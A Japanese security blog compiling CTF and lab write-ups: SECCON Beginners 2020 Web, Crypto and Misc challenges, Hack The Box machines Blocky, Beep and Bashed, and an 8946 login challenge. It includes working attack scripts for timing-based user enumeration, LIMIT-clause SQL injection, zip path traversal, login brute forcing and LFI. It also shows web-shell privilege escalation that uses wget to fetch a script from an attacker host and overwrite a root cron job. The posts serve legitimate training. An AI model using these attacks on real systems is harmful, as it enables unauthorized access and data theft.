セキュリティ技術メモブログ

日々の活動を記録する場所

SECCON beginners 2020 Writeup(Web)

はじめに

SECCON beginners 2020に個人で参加。
時間内に解けなかった問題も他の方のwriteupを参考にして、 自分の言葉でwriteupを書いていくことにする。
今回はWebジャンル。Spy、Tweetstore、unzipの3問を記載。

Miscジャンルの記事は以下。 paichan-it.hatenablog.com

Cryptoジャンル(R&Bのみ)は以下。 paichan-it.hatenablog.com

[Web] Spy(Beginner)

問題

As a spy, you are spying on the "ctf4b company". You got the name-list of employees and the URL to the in-house web tool used by some of them. Your task is to enumerate the employees who use this tool in order to make it available for social engineering.

employees.txtとapp.pyが添付されている。

import os
import time

from flask import Flask, render_template, request, session

# Database and Authentication libraries (you can't see this :p).
import db
import auth

# ====================

app = Flask(__name__)
app.SALT = os.getenv("CTF4B_SALT")
app.FLAG = os.getenv("CTF4B_FLAG")
app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY")

db.init()
employees = db.get_all_employees()

# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    t = time.perf_counter()

    if request.method == "GET":
        return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t))
    
    if request.method == "POST":
        name = request.form["name"]
        password = request.form["password"]

        exists, account = db.get_account(name)

        if not exists:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)
        hashed_password = auth.calc_password_hash(app.SALT, password)
        if hashed_password != account.password:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        session["name"] = name
        return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t))

# ====================

@app.route("/challenge", methods=["GET", "POST"])
def challenge():
    t = time.perf_counter()
    
    if request.method == "GET":
        return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

    if request.method == "POST":
        answer = request.form.getlist("answer")

        # If you can enumerate all accounts, I'll give you FLAG!
        if set(answer) == set(account.name for account in db.get_all_accounts()):
            message = app.FLAG
        else:
            message = "Wrong!!"
        
        return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

# ====================

if __name__ == '__main__':
    db.init()
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))

employees.txtに記載のあるユーザのうち、存在するユーザを選択すればフラグがゲットできるようだ。

解法

app.pyを確認。ログイン試行するユーザが存在している場合にはauth.calc_password_hash(app.SALT, password)で複数回のストレッチングが行われるため、レスポンスが遅くなる模様。
ユーザが存在しない場合には、一瞬でレスポンスが返ってくる。これらは、ブラウザにも表示されるため容易に確認することができる。

  • Arthurでログイン試行した場合
    f:id:Paichan:20200524223607p:plain

  • Elbertでログイン試行した場合
    f:id:Paichan:20200524223713p:plain

26回手動でログイン試行すればよいので時間はかからないが、競技終了後あえてスクリプトを書いてみた。

import requests
import bs4
import re

with open("employees.txt", "r") as f:
    employees = f.readlines()

URL = "https://spy.quals.beginners.seccon.jp/"

for i in employees:
    DATA = {"name":i.rstrip(), "password":123}
    rpost = requests.post(url=URL, data=DATA)
    soup = bs4.BeautifulSoup(rpost.text, "html.parser")
    timeData = soup.find("p").get_text()
    extractData = "".join(re.findall("[0-9]{1,}.[0-9]{1,}", timeData))
    print(i.rstrip() + " : " + extractData)

実行結果は以下。

Arthur : 0.0003507
Barbara : 0.0003492
Christine : 0.0003667
David : 0.0003282
Elbert : 0.5867867
Franklin : 0.0003587
George : 0.5761458
Harris : 0.0003731
Ivan : 0.0003675
Jane : 0.0003095
Kevin : 0.0003963
Lazarus : 0.5207610
Marc : 0.6260417
Nathan : 0.0003987
Oliver : 0.0004116
Paul : 0.0004193
Quentin : 0.0003628
Randolph : 0.0003301
Scott : 0.0003395
Tony : 0.6102204
Ulysses : 0.0003216
Vincent : 0.0003582
Wat : 0.0002925
Ximena : 0.3995440
Yvonne : 0.6283144
Zalmon : 0.0003918

この中で、他と比べてレスポンス時間が長いのは、「Elbert」、「George 」、「Lazarus 」、「Marc 」 、「Tony 」、「Ximena 」、「Yvonne 」である。 これらのユーザをチェックボックスで選択しAnswerをクリックしたら、フラグが表示された。
f:id:Paichan:20200524232616p:plain

ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

[Web] Tweetstore(Easy)

問題

Search your flag! Server: https://tweetstore.quals.beginners.seccon.jp/

添付されているzipからはwebserver.goが解凍された。

package main

import (
    "context"
    "fmt"
    "log"
    "os"
    "strings"
    "time"
 
    "database/sql"
    "html/template"
    "net/http"

    "github.com/gorilla/handlers"
    "github.com/gorilla/mux"

    _"github.com/lib/pq"
)

var tmplPath = "./templates/"

var db *sql.DB

type Tweets struct {
    Url        string
    Text       string
    Tweeted_at time.Time
}

func handler_index(w http.ResponseWriter, r *http.Request) {

    tmpl, err := template.ParseFiles(tmplPath + "index.html")
    if err != nil {
        log.Fatal(err)
    }

    var sql = "select url, text, tweeted_at from tweets"

    search, ok := r.URL.Query()["search"]
    if ok {
        sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
    }

    sql += " order by tweeted_at desc"

    limit, ok := r.URL.Query()["limit"]
    if ok && (limit[0] != "") {
        sql += " limit " + strings.Split(limit[0], ";")[0]
    }

    var data []Tweets


    ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
    defer cancel()

    rows, err := db.QueryContext(ctx, sql)
    if err != nil{
        http.Error(w, http.StatusText(500), 500)
        return
    }

    for rows.Next() {
        var text string
        var url string
        var tweeted_at time.Time

        err := rows.Scan(&url, &text, &tweeted_at)
        if err != nil {
            http.Error(w, http.StatusText(500), 500)
            return
        }
        data = append(data, Tweets{url, text, tweeted_at})
    }

    tmpl.Execute(w, data)
}

func initialize() {
    var err error

    dbname := "ctf"
    dbuser := os.Getenv("FLAG")
    dbpass := "password"

    connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
    db, err = sql.Open("postgres", connInfo)
    if err != nil {
        log.Fatal(err)
    }
}

func main() {

    initialize()

    r := mux.NewRouter()
    r.HandleFunc("/", handler_index).Methods("GET")

    http.Handle("/", r)
    http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux))
}

上記コードより、今回はdbuserがフラグとなる。データベースはpostgreSQLのようだ。

解法

当日は解けなかったが、以下のwriteupを参考に、理解した。
SECCON Beginners CTF 2020 Writeup - こんとろーるしーこんとろーるぶい

search word(searchパラメータ)に一致したツイートがsearch limit(limitパラメータ)件数以下表示されるwebページ。 f:id:Paichan:20200524233247p:plain

webserver.goを確認してみると、以下よりlimit句の中に入るsearchパラメータはシングルクォートがエスケープされていることが分かる。

sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"

一方、limitパラメータはエスケープされていないため、ここが狙い目になりそう。

sql += " limit " + strings.Split(limit[0], ";")[0]

これらより、生成されるSQL文は以下のようになる。

select url, text, tweeted_at from tweets  where text like '%{search}%' order by tweeted_at desc limit {limit} 

今回はdbuserがフラグであるため、postgreSQLのシステム情報関数であるcurrent_userが使えそう。
試しに、limit句にascii(substr(current_user,1,1))を挿入し、リクエストを送付すると、無事ステータスコード200が返ってきた。
何をやっているかというと、substr(current_user,1,1)でデータベースに接続しているユーザ名の一文字目を取得し、その結果をasciiコード番号に変換している。
asciiコード暗号に変換することで、limit X(X:数値)の形になり、文法的に正しくなる。

BurpのRepeaterを見るとこんな感じ。99件のツイートが取得された。99はascii文字に変換するとcf:id:Paichan:20200611230937p:plain

同様に、ascii(substr(current_user,2,1))を挿入してリクエストすると116件のツイートが取得できた。116はascii文字に直すとtascii(substr(current_user,3,1))では102件=f
表示されたツイート数がdbuserになりそう。以下のようなスクリプトを書いた。

import requests

URL = "https://tweetstore.quals.beginners.seccon.jp/"

flag = ""

for i in range(40):
    rget = requests.get(
        url = URL,
        params = {
            "search":"",
            "limit":"ascii(substr(current_user,{},1))".format(i+1)
        }
    )
    res = rget.text.count("Watch@Twitter")
    flag += chr(res)
print(flag)

実行すると、フラグが表示される。
ctf4b{is_postgres_your_friend?}

[Web] unzip(Easy)

問題

Unzip Your .zip Archive Like a Pro.

PHPのコードと、docker-compose.ymlが渡される。

index.php

<?php
error_reporting(0);
session_start();

// prepare the session
$user_dir = "/uploads/" . session_id();
if (!file_exists($user_dir))
    mkdir($user_dir);

if (!isset($_SESSION["files"]))
    $_SESSION["files"] = array();

// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}

// process uploaded files
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (isset($_FILES["file"])) {
    // size check of uploaded file
    if ($_FILES["file"]["size"] > 1000) {
        echo "the size of uploaded file exceeds 1000 bytes.";
        die();
    }

    // try to open uploaded file as zip
    $zip = new ZipArchive;
    if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
        echo "failed to open your zip.";
        die();
    }


    // check the size of unzipped files
    $extracted_zip_size = 0;
    for ($i = 0; $i < $zip->numFiles; $i++)
        $extracted_zip_size += $zip->statIndex($i)["size"];

    if ($extracted_zip_size > 1000) {
        echo "the total size of extracted files exceeds 1000 bytes.";
        die();
    }

    // extract
    $zip->extractTo($user_dir);

    // add files to $_SESSION["files"]
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $s = $zip->statIndex($i);
        if (!in_array($s["name"], $_SESSION["files"], TRUE)) {
            $_SESSION["files"][] = $s["name"];
        }
    }

    $zip->close();
}
?>

<!DOCTYPE html>
<html>

<head>
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">

    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title></title>
</head>

<body>
    <nav role="navigation">
        <div class="nav-wrapper container">
            <a id="logo-container" href="/" class="brand-logo">Unzip</a>
        </div>
    </nav>


    <div class="container">
        <br><br>
        <h1 class="header center teal-text text-lighten-2">Unzip</h1>
        <div class="row center">
            <h5 class="header col s12 light">
                Unzip Your .zip Archive Like a Pro
            </h5>
        </div>
    </div>
    </div>



    <div class="container">
        <div class="section">
            <h2>Upload</h2>
            <form method="post" enctype="multipart/form-data">
                <div class="file-field input-field">
                    <div class="btn">
                        <span>Select .zip to Upload</span>
                        <input type="file" name="file">
                    </div>
                    <div class="file-path-wrapper">
                        <input class="file-path validate" type="text">
                    </div>
                </div>
                <button class="btn waves-effect waves-light">
                    Submit
                    <i class="material-icons right">send</i>
                </button>
            </form>
        </div>
    </div>

    <div class="container">
        <div class="section">
            <h2>Files from Your Archive(s)</h2>
            <div class="collection">
                <?php foreach ($_SESSION["files"] as $filename) { ?>
                    <a href="/?filename=<?= urlencode($filename) ?>" class="collection-item"><?= htmlspecialchars($filename, ENT_QUOTES, "UTF-8") ?></a>
                <? } ?>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
</body>

</html>

docker-compose.yml

version: "3"

services:
  nginx:
    build: ./docker/nginx
    ports:
      - "127.0.0.1:$APP_PORT:80"
    depends_on:
      - php-fpm
    volumes:
      - ./storage/logs/nginx:/var/log/nginx
      - ./public:/var/www/web
    environment:
      TZ: "Asia/Tokyo"
    restart: always

  php-fpm:
    build: ./docker/php-fpm
    env_file: .env
    working_dir: /var/www/web
    environment:
      TZ: "Asia/Tokyo"
    volumes:
      - ./public:/var/www/web
      - ./uploads:/uploads
      - ./flag.txt:/flag.txt
    restart: always

docker-compose.ymlを確認すると、この問題は、nginxコンテナとphp-fpmコンテナの2つで構成されており、./flag.txtがマウントされていることが分かる。
このflag.txtを読み出すことが目標だ。

解説

aaa.zipをアップロードしてみる。すると、aaa.zip内に含まれているファイル名(aaa.txt)が表示される。 f:id:Paichan:20200531015515p:plain ファイル名をクリックすると、そのファイルの中身を参照することができるサービス。
index.phpの以下の部分を見ると、アップロードしたファイルは/uploads/{session_id}/filenameに配置されるようだ。

$user_dir = "/uploads/" . session_id();
(snip)
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}

docker-compose.ymlから、フラグのパスは分かっている(/flag.txt)。つまり、filename../../flag.txtとなればフラグがゲットできそう。しかし、windowsでは、ファイル名に/という文字を含むことができないため、工夫する必要がある。以下の様にしてzipファイルを作成した。

  1. ..A..Aflag.txtという名前のファイルを作成。
  2. zip圧縮する。 3.バイナリエディタA/に書き換える。 f:id:Paichan:20200608001552p:plain f:id:Paichan:20200608002242p:plain 4.保存

こうして出来上がったzipファイルをアップロードすると、ファイル名に../../flag.txtが! f:id:Paichan:20200608002203p:plain ここにアクセスしてフラグゲット。
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}

SECCON beginners 2020 Writeup(Crypto:R&B)

はじめに

SECCON beginners 2020に個人で参加。
解けたのはBeginne問題のみ。

Miscジャンルの記事は以下。 paichan-it.hatenablog.com

[Crypto] R&B(Beginner)

問題

Do you like rhythm and blues?

添付されているzipからはencoded_flagproblem.pyが解凍された。

BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==
from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped


def base64(s):
    # snipped


for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)

解法

problem.pyを確認する。FORMATという環境変数の中を一文字ずつ確認していて、Rであれば、先頭にFLAGrot13エンコードした結果の先頭にRを付与し、Bであれば、先頭にFLAGbase64エンコードした結果の先頭にBを付与するという流れ。 デコードはこれと逆のことをやれば良い。
先頭文字がRであればRを取り除いたうえでrot13デコード、先頭文字がBであればBを取り除いたうえで`base64デコード。
以下のスクリプトを実行し、フラグゲット。

import codecs
import base64

with open("encoded_flag", "r") as f:
    data = f.read()

while True:
    if (data[0] == "R"):
        data = codecs.decode(data[1:], "rot13")
    
    elif (data[0] == "B"):
        data = base64.b64decode(data[1:]).decode("utf-8")
    
    else:
        print(data)
        break

ctf4b{rot_base_rot_base_rot_base_base}

SECCON beginners 2020 Writeup(Misc)

はじめに

SECCON beginners 2020に個人で参加。
時間内に解けなかった問題も他の方のwriteupを参考にして、 自分の言葉でwriteupを書いていくことにする。
まずはMiscジャンルから。

[Misc] Welcome(Beginner)

問題

Welcome to SECCON Beginners CTF 2020!
フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。

解法

[Rules]を見ると、DicordのURLが記載されている。 f:id:Paichan:20200524142651p:plain ここにアクセスしてフラグ発見。 f:id:Paichan:20200524142741p:plain

ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

[Misc] emoemoencode(Easy)

問題

Do you know emo-emo-encode?

以下添付ファイルの中身。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

解法

「emoji encode」などで検索していると、以下のサイトが見つかる。 apps.timwhitlock.info unicodeらしい。CyberChefRecipeTo Charcodeをセットして出力を確認する。 f:id:Paichan:20200524144432p:plain どの絵文字も共通して01f3から始まっている。
フラグフォーマットである、ctf4b{を変換してみると、絵文字の下二桁をとったものと一致していた。(01f363 01f374 01f366 01f334 01f362 01f37bf:id:Paichan:20200524144826p:plain

後は、01f3を取り除いたものを、From CharCodeに食わせるだけ。 f:id:Paichan:20200524145246p:plain

ctf4b{stegan0graphy_by_em000000ji}

[Misc] readme(Easy)

問題

readme nc readme.quals.beginners.seccon.jp 9712

添付されているzipからはserver.pyが解凍された。

#!/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")

解法

/home/ctf/flagにフラグがあるが、入力にctfが含まれていると、Path not allowedが表示されるらしい。確認してみる。

root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712
File: /home/ctf/flag
[-] Path not allowed

確かに。ctfという文字列を使わずに、このファイルにアクセスする必要がるようだ。 前に参加したCTFで以下のページの記憶が残っていたので、/proc/self/ディレクトリを駆使すれば解けそうだ。 web.mit.edu

/proc/self/ディレクトリは、現在実行中のプロセスのリンクであり、プロセスの状況を把握するために活用できる。
勉強がてら/proc/self/ディレクトリ配下を色々調べてみる。

  • cmdline:プロセスを開始する時に発行されるコマンドを含む。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cmdline
python3./server.py

どこかのディレクトリで、server.pyが実行されていることが分かる。

  • environ:プロセスの環境変数の一覧を表示。環境変数はすべて大文字で、値は小文字で表示される。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/environ
HOSTNAME=b2a8444bdc32PYTHON_PIP_VERSION=20.1SHLVL=1HOME=/home/ctfGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.7PWD=/home/ctf/serverPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348SOCAT_PID=28595SOCAT_PPID=1SOCAT_VERSION=1.7.3.3SOCAT_SOCKADDR=172.21.0.2SOCAT_SOCKPORT=9712SOCAT_PEERADDR=126.0.26.69SOCAT_PEERPORT=55925

環境変数が表示される。PWD=/home/ctf/serverよりserver.pyが実行されているディレクトリがわかった。

root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}

こんな階層ってこと。

― /home
  ❘__ /ctf
     ❘__ flag
     ❘__ /server
         ❘__server.py
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}

【Hack The Box】Blocky Walkthrough

はじめに

  • マシン名:Blocky
  • OS:Linux
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.37

ポートスキャン

# nmap -A 10.10.10.37

f:id:Paichan:20200505222240p:plain 21(ftp)、22(ssh)、80(http)が開いている。80番ポートはWordPressが動いている。

ブラウザで80番ポートへアクセス

ブラウザで80番ポートへアクセスするとこんな画面。 f:id:Paichan:20200505222441p:plain

ディレクトリスキャン

gobusterディレクトリスキャンを実行。

# gobuster dir -u http://10.10.10.37 -w /usr/share/dirb/wordlists/common.txt

f:id:Paichan:20200505222557p:plain /plugins/にアクセスすると、ファイルを2つ発見。 f:id:Paichan:20200505222818p:plain

BlockyCore.jarの解析

Downloadsディレクトリからカレントディレクトリにコピーし、ファイルタイプを確認する。

# cp /root/Downloads/* .
# ls | xargs file

f:id:Paichan:20200505223047p:plain

BlockyCore.jarを解凍し、解凍されたものを見てみる。BlockyCore.classには"root"という文字列とランダムな文字列(パスワード?)も見える。

# jar xvf BlockyCore.jar

f:id:Paichan:20200505223325p:plain

jd-guiでBlockyCore.classをデコンパイル。ランダムな文字列はパスワードであることが分かる。 f:id:Paichan:20200505223651p:plain

sshアクセス

勝利を確信し、rootユーザを上記で見つけたパスワードでsshアクセス試行したが、駄目だった。

# ssh root@10.10.10.37

f:id:Paichan:20200505223819p:plain

wpscan

80番ポートではWordPressが動いていることを思い出し、wpscanを実行。ユーザ名を列挙する--enumerate uオプションをつける。

# wpscan --url http://10.10.10.37 --enumerate u

f:id:Paichan:20200505224015p:plain f:id:Paichan:20200505224027p:plain 「notch」と「Notch」というユーザが列挙された。

sshアクセス 2

wpscanで列挙された「notch」でsshアクセス試行したところ、ログイン成功。パスワードはBlockyCore.classのデコンパイルで見つけたものを使用。 user.txtも発見できた。

# ssh notch@10.10.10.37
# cat user.txt

f:id:Paichan:20200505224348p:plain

権限昇格

rootに権限昇格するヒントを得るために、まずは以下を実行。

$ sudo -l

どのユーザにもなれて、どのコマンドの実行も許可されている。
catコマンドでroot.txtの中身を確認して終了。

$ sudo cat /root/root.txt

f:id:Paichan:20200505225021p:plain

user.txt:59fee0977fb60b8a0bc6e41e751f3cd5
root.txt:0a9694a5b4d272c694679f7860f1cd5f

【8946】Take#55 writeup

はじめに

今更ながら8946のTake#55を解いたので、そのwriteupを。 www.hackerschool.jp

問題

あるサイトから流出した会員IDのリストを入手しました。 パスワードの記載はなく、会員IDのみのリストです。 このリストを元に、下記サイトのログイン認証を突破してみてください。 ログイン成功後、表示されるパスワードを以下のフォームに入力すればクリアです。

「会員IDのリスト」は10000件のIDが書かれたテキストファイル。
「下記サイト」にアクセスすると以下のような画面が表示される。 f:id:Paichan:20200502013441p:plain

問題紹介には「Joeアカウント」と記載されている。 f:id:Paichan:20200502013513p:plain

解法

Joeアカウントとは、IDとパスワードが同じアカウントのことを言う。
(例 ID:joe、パスワード:joe)

問題紹介にもあるように、10000万のIDのなかからこのページにログインできるアカウント(joeアカウント)を探せという問題。
10000通りを手動で調べるのは無理なので、以下のようなスクリプトを書いた。

認証失敗すると、レスポンスに「Error!」という文字列が含まれるため、レスポンスにその文字列が含まれないPOSTデータを表示するスクリプトf:id:Paichan:20200502014354p:plain

import requests

# take55のURL
URL = "http://www.hackerschool.jp/hack/take55_attack.php"

# take55_id_data.txtの内容全てを読み出し、一行毎にリスト化
with open(r"8946\take55_id_data.txt", "r") as f:
    fdata = f.readlines()

s = requests.Session()

# POSTするデータにid、passが同じものを一つずつリクエスト
# 改行コードが邪魔なのでstripで削除
for i in fdata:
    rpost = s.post(
        url = URL,
        data = {"id":i.strip(),"pass":i.strip()},
        headers = {"Cookie":"Your Cookie"}
    )

# レスポンスの中に"Error!"が含まれていないPOSTデータを表示
    if ("Error!" not in rpost.text):
        print(i.strip())
        break

【Hack The Box】Beep Walkthrough

はじめに

  • マシン名:Beep
  • OS:Linux
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.7

ポートスキャン

# nmap -A 10.10.10.7

f:id:Paichan:20200501214628p:plain 色々ポートが開いている。

ブラウザで80番ポートへアクセス

ブラウザで80番ポートへアクセスするが、443ポートにリダイレクトされる。
elastixというものが動いているようだ。 f:id:Paichan:20200501214801p:plain

ディレクトリスキャン

gobusterでディレクトリスキャンを実行。
※kオプションは、SSL証明書を検証しないオプション

# gobuster dir -u http://10.10.10.7 -w /usr/share/dirb/wordlists/common.txt -k

f:id:Paichan:20200501215126p:plain 色々アクセスしてみたが、ヒントになるようなものはなかった。

エクスプロイトコード調査

elastixのバージョンなどは把握できていないが、エクスプロイトコードを探す。

# searchsploit elastix

f:id:Paichan:20200501215307p:plain 上から4つ目のLocal File Inclusionが気になる。以下のコマンドでエクスプロイトコードをダウンロード。

# searchsploit -m 37637

f:id:Paichan:20200501215428p:plain 中身を見てみると、真ん中下あたりに「#LFI Exploit」の後にパスが記載されている。 f:id:Paichan:20200501215555p:plain

エクスプロイトコード実行

ブラウザにコード内に記載されていたパスを入力してみると、怪しげなページにアクセスできた。 f:id:Paichan:20200501215752p:plain

見にくかったため、ページソースを参照する。 f:id:Paichan:20200501215831p:plain

ユーザ名やパスワードと思われるものを発見。これを使ってsshアクセスしてみる。

(参考)sshのエラー対応

10.10.10.7のサーバに対してsshアクセスしようとしたら、以下のようなエラーが表示された。 f:id:Paichan:20200501220512p:plain サーバのOpenSSHが古いため(ver4.3)、クライアント側でいくつかのレガシーな暗号アルゴリズム(Their offer:以降)がサポート外になっているようだ。 サーバ側のOpenSSHのバージョンを上げれば良さそうだが、それはできないため、/etc/ssh/ssh_configに以下を追記したらエラーは表示されなくなった。

KexAlgorithms +diffie-hellman-group-exchange-sha1

f:id:Paichan:20200501221153p:plain

sshアクセス

上述のエラー対応後、発見したユーザ名、パスワードでアクセス試行。結局、rootでアクセスできた。 f:id:Paichan:20200501221448p:plain

あとはuser.txtとroot.txtを取得して終了。 f:id:Paichan:20200501221517p:plain f:id:Paichan:20200501221528p:plain

user.txt:aeff3def0c765c2677b94715cffa73ac
root.txt:d88e006123842106982acce0aaf453f0

【Hack The Box】Bashed Walkthrough

はじめに

  • マシン名:Bashed
  • OS:Linux
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.68

ポートスキャン

# nmap -A 10.10.10.68

f:id:Paichan:20200419104344p:plain 80(http)ポートが開いている。

ブラウザで80番ポートへアクセス

ブラウザで80番ポートへアクセス。ソースコードなどを確認したが、とくにヒントは得られない。 f:id:Paichan:20200419104416p:plain

ディレクトリスキャン

ディレクトリスキャンを実行。dirbが遅いので、gobusterを使った。

# gobuster dir -u http://10.10.10.68 -w /usr/share/dirb/wordlists/common.txt

f:id:Paichan:20200419104638p:plain /dev/にアクセスしてみると、ディレクトリリスティングが有効であり、配下にあるphpbash.phpにアクセスしてみると任意のコマンドが実行できるWebShellであった。 f:id:Paichan:20200419105120p:plain

あとは、以下の流れでuser.txtを取得。

cd /home
ls
cd arrexel
cat user.txt

f:id:Paichan:20200419105217p:plain

scriptmanagerユーザの調査

上記画像より、/home配下にはarrexelとscriptsmanagerユーザのディレクトリの存在が確認できる。

ほとんどのディレクトリはrootが所有者だが、scriptsディレクトリだけはscriptmanagerが所有者であった。ここに何かヒントがあると予想した。 f:id:Paichan:20200419105636p:plain

sudoコマンドが実行できるかを確認。
現在のユーザ(www-data)は、パスワードなしでscriptmanagerの権限で全てのコマンドが実行できることが分かった。

sudo -l

f:id:Paichan:20200419110436p:plain

scriptmanagerの権限で/scripts配下を確認すると、test.pyとtest.txtの存在が確認できた。test.pyの所有者はscriptmanagerで、test.txtの所有者はrootであった。
数分後に同じコマンドを実行すると、test.txtのタイムスタンプが変わることも確認。

sudo -u scriptmanager ls -l /scripts

f:id:Paichan:20200419111345p:plain

test.pyの置き換え

/scripts配下にあるtest.pyの中身を確認する。

sudo -u scriptmanager cat /scripts/test.py

f:id:Paichan:20200419111722p:plain test.txtに「testing 123!」という文字列を書き込むスクリプトだった。test.txtのタイムスタンプが変わっていたのは、test.pyがcronなどで定期的に実行されうよう設定されていたためだと思われる。
また、test.txtの所有者がrootであることから、test.pyはroot権限で実行されていると考えられる。

そこで、test.pyを、root.txtを表示(出力)するスクリプトに置き換える。
攻撃者側環境で、pythonスクリプトを用意し、Webサーバを起動した。
pythonでOSコマンドを実行するために、os.system()を使用。

import os
os.system("cat /root/root.txt > /tmp/root.txt")
python -m SimpleHTTPServer 80

f:id:Paichan:20200419213138p:plain

WebShell上から、攻撃者端末上に作成したtest.pyをダウンロードし、/scriptsフォルダに上書きする(scriptmanagerの権限で)。

cd /tmp
wget http://10.10.14.21/test.py
sudo -u scriptmanager cp test.py /scripts

f:id:Paichan:20200419214046p:plain

test.pyが上書きできたことを確認し、出力先のroot.txtを確認して終了。

sudo -u scriptmanager cat /scripts/test.py
cat /tmp/root.txt

f:id:Paichan:20200419214229p:plain

user.txt:2c281f318555dbc1b856957c7147bfc1
root.txt:cc4f0afe3a1026d402ba10329674a8e2